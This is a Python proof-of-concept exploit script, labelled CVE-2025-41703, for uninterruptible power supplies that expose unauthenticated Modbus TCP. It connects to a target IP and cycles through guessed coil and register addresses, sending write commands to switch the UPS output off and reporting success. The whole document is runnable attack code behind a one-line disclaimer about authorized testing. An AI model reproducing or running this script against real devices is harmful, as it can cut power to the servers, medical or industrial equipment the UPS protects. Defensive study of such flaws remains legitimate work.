The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-41703 - UPS Modbus Denial of Service PoC
# This PoC demonstrates how an unauthenticated attacker can
# turn off the output of a UPS via Modbus TCP command.
from pymodbus.client import ModbusTcpClient
import sys
import argparse
def exploit_ups_modbus(target_host, target_port=502):
"""
Send Modbus command to turn off UPS output.
Uses Write Single Coil (function code 05) to control the output relay.
"""
try:
# Connect to the target UPS Modbus TCP service
client = ModbusTcpClient(target_host, port=target_port, timeout=5)
connection = client.connect()
if not connection:
print(f"[-] Failed to connect to {target_host}:{target_port}")
return False
print(f"[+] Connected to UPS Modbus service at {target_host}:{target_port}")
# Common UPS Modbus registers for output control
# Register address may vary by manufacturer
output_control_registers = [
0x0001, # Common output control register
0x0010, # Alternative output control register
0x0100, # Some UPS models
0x0002, # Output enable/disable register
]
for register_addr in output_control_registers:
try:
# Write Single Coil - turn off output (value = 0x0000)
# Coil OFF = 0x0000, Coil ON = 0xFF00
response = client.write_coil(
address=register_addr,
value=False, # False = turn off output
slave=1 # Default slave ID for UPS
)
if response and not response.isError():
print(f"[+] Successfully sent OFF command to register {hex(register_addr)}")
print(f"[+] UPS output has been disabled!")
return True
except Exception as e:
print(f"[-] Register {hex(register_addr)} failed: {e}")
continue
# Alternative: Try Write Single Register approach
for register_addr in output_control_registers:
try:
# Write 0 to output control register
response = client.write_register(
address=register_addr,
value=0, # 0 = turn off
slave=1
)
if response and not response.isError():
print(f"[+] Successfully wrote 0 to register {hex(register_addr)}")
print(f"[+] UPS output has been disabled!")
return True
except Exception as e:
print(f"[-] Register {hex(register_addr)} failed: {e}")
continue
client.close()
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-41703 UPS Modbus DoS PoC')
parser.add_argument('target', help='Target UPS IP address')
parser.add_argument('-p', '--port', type=int, default=502, help='Modbus TCP port (default: 502)')
args = parser.parse_args()
print(f"[*] CVE-2025-41703 - UPS Modbus Denial of Service PoC")
print(f"[*] Target: {args.target}:{args.port}")
print(f"[*] WARNING: This will turn off the UPS output!")
print()
success = exploit_ups_modbus(args.target, args.port)
if success:
print("[!] Exploit completed successfully - UPS output is OFF")
sys.exit(0)
else:
print("[-] Exploit failed - target may not be vulnerable or uses different register mapping")
sys.exit(1)